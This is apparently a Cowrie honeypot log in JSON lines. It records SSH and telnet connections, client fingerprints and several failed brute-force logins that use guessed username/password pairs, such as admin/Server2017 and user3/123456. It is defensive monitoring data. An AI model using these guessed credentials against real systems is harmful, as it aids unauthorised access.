{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.509362Z","src_ip":"154.117.199.5","session":"7f6ee46ed1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.521732330322266,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.577203Z","src_ip":"35.241.183.187","session":"461d3e78474a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.106741189956665,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.603753Z","src_ip":"35.241.183.187","session":"7cd4324746fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.953484773635864,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.608727Z","src_ip":"35.241.183.187","session":"b07586f3706d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.423624038696289,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.611738Z","src_ip":"35.241.183.187","session":"74a8f766a173","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.582147598266602,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.615170Z","src_ip":"35.241.183.187","session":"a04b92b042e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.7416157722473145,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.620042Z","src_ip":"35.241.183.187","session":"152a442d27d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.902194499969482,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.625796Z","src_ip":"35.241.183.187","session":"3bc5aef75480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.059426307678223,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.628738Z","src_ip":"35.241.183.187","session":"d49bc05f921f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.225070476531982,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.632004Z","src_ip":"35.241.183.187","session":"b1b8eb27f329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.3832528591156,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.635103Z","src_ip":"35.241.183.187","session":"358f5da45c27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.541261911392212,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.638398Z","src_ip":"35.241.183.187","session":"b19e51a72b85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.854290246963501,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.641639Z","src_ip":"35.241.183.187","session":"d52b467fbb5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.702013969421387,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.644540Z","src_ip":"35.241.183.187","session":"6364538877df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.015261888504028,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.648066Z","src_ip":"35.241.183.187","session":"dfb35505613c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.171831607818604,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.650712Z","src_ip":"35.241.183.187","session":"7ee28a7db194","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.329549789428711,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.653165Z","src_ip":"35.241.183.187","session":"a74a5b188a58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.48724889755249,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.656097Z","src_ip":"35.241.183.187","session":"da7345e0d5d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.79684567451477,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.659090Z","src_ip":"35.241.183.187","session":"f453c8b2d0e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.028641700744629,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.662045Z","src_ip":"35.241.183.187","session":"325d283c8bc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.186034440994263,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.665231Z","src_ip":"35.241.183.187","session":"42212da77185","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.34437608718872,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.668926Z","src_ip":"35.241.183.187","session":"a58ce6f8cd36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.505024194717407,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.673049Z","src_ip":"35.241.183.187","session":"ca25d74ddd19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.666681289672852,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.676084Z","src_ip":"35.241.183.187","session":"93b218559817","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.82594347000122,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.679328Z","src_ip":"35.241.183.187","session":"1cacdcb24f77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.983561038970947,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.682415Z","src_ip":"35.241.183.187","session":"073e8ba1bbdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.142470121383667,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.685214Z","src_ip":"35.241.183.187","session":"fa0a1bd0f704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.300346374511719,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.687295Z","src_ip":"35.241.183.187","session":"4e522c15db3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":40248,"dst_ip":"159.203.135.109","dst_port":23,"session":"56203357be2e","protocol":"telnet","message":"New connection: 199.103.57.63:40248 (159.203.135.109:23) [session: 56203357be2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:42.620394Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.81.63.46","src_port":55928,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0673655f602","protocol":"telnet","message":"New connection: 116.81.63.46:55928 (159.203.135.109:23) [session: a0673655f602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:03.482647Z"}
{"eventid":"cowrie.session.closed","duration":13.268592596054077,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:16.751155Z","src_ip":"116.81.63.46","session":"a0673655f602","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.08783483505249,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:19.708104Z","src_ip":"199.103.57.63","session":"56203357be2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":35040,"dst_ip":"10.17.0.5","dst_port":22,"session":"565a6f82fe06","protocol":"ssh","message":"New connection: 211.254.212.59:35040 (10.17.0.5:22) [session: 565a6f82fe06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:22.557768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:22.562712Z","src_ip":"211.254.212.59","session":"565a6f82fe06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:22.758407Z","src_ip":"211.254.212.59","session":"565a6f82fe06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2017","message":"login attempt [admin/Server2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:23.573104Z","src_ip":"211.254.212.59","session":"565a6f82fe06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:24.772995Z","src_ip":"211.254.212.59","session":"565a6f82fe06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39302,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ee7e1acabbf","protocol":"ssh","message":"New connection: 80.94.92.186:39302 (10.17.0.5:22) [session: 6ee7e1acabbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:34.387755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:34.620497Z","src_ip":"80.94.92.186","session":"6ee7e1acabbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:34.628275Z","src_ip":"80.94.92.186","session":"6ee7e1acabbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Password123","message":"login attempt [solana/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:35.966224Z","src_ip":"80.94.92.186","session":"6ee7e1acabbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:52:38.221820Z","src_ip":"80.94.92.186","session":"6ee7e1acabbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.41.211.249","src_port":48854,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e10e792139","protocol":"telnet","message":"New connection: 86.41.211.249:48854 (10.17.0.5:23) [session: a1e10e792139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:53:01.263232Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":51880,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f2a1301803","protocol":"ssh","message":"New connection: 211.254.212.59:51880 (10.17.0.5:22) [session: 60f2a1301803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:53:18.666139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:53:18.671009Z","src_ip":"211.254.212.59","session":"60f2a1301803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:53:18.878102Z","src_ip":"211.254.212.59","session":"60f2a1301803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server11","message":"login attempt [server/server11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:53:19.740862Z","src_ip":"211.254.212.59","session":"60f2a1301803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:53:20.951298Z","src_ip":"211.254.212.59","session":"60f2a1301803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":40490,"dst_ip":"10.17.0.5","dst_port":22,"session":"44038dab6b9a","protocol":"ssh","message":"New connection: 211.254.212.59:40490 (10.17.0.5:22) [session: 44038dab6b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:15.445046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:15.454054Z","src_ip":"211.254.212.59","session":"44038dab6b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:15.656070Z","src_ip":"211.254.212.59","session":"44038dab6b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:16.494784Z","src_ip":"211.254.212.59","session":"44038dab6b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:17.700632Z","src_ip":"211.254.212.59","session":"44038dab6b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.59.115.172","src_port":50900,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cbafc273e51","protocol":"ssh","message":"New connection: 37.59.115.172:50900 (10.17.0.5:22) [session: 4cbafc273e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:58.288538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:58.292857Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:58.379468Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:ec:90:51:8e:2d:1c:c1:e8:94:9b:1b:60:a8:1c:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+0SEC2SRtSsJ8RWkvotAs9nanxH4+JwGoXsfp1aNo79Zd48nIwUtQ9NBZh5LDMhfo20Ri5kZ3rmIHso0DfAfkKs33GAlRAN9X16W8dC793yinp6gGg8O5s1ngVW8cSLugM4w68AGVlvS376dwXVdZVVmsmNJXobbInGzhspAQ3ex7ZWHWuEV2vJXQvrMXNYkcQb2YB+zwOGaH8Y4oxxTwYqr6MXd9arnlrKnjntVxWt/KWuow5obHFXB0KQOl9LtJJ4cWV5tdZCwigkvIKvCbTCyC+mpIMRJ7Da9oaz5OuuQCYRMV4+2XC2iq7ub6+UJU9DWPTztdtyi4LaxVhsCp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:ec:90:51:8e:2d:1c:c1:e8:94:9b:1b:60:a8:1c:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:54:58.764433Z","src_ip":"37.59.115.172","session":"4cbafc273e51","protocol":"ssh"}
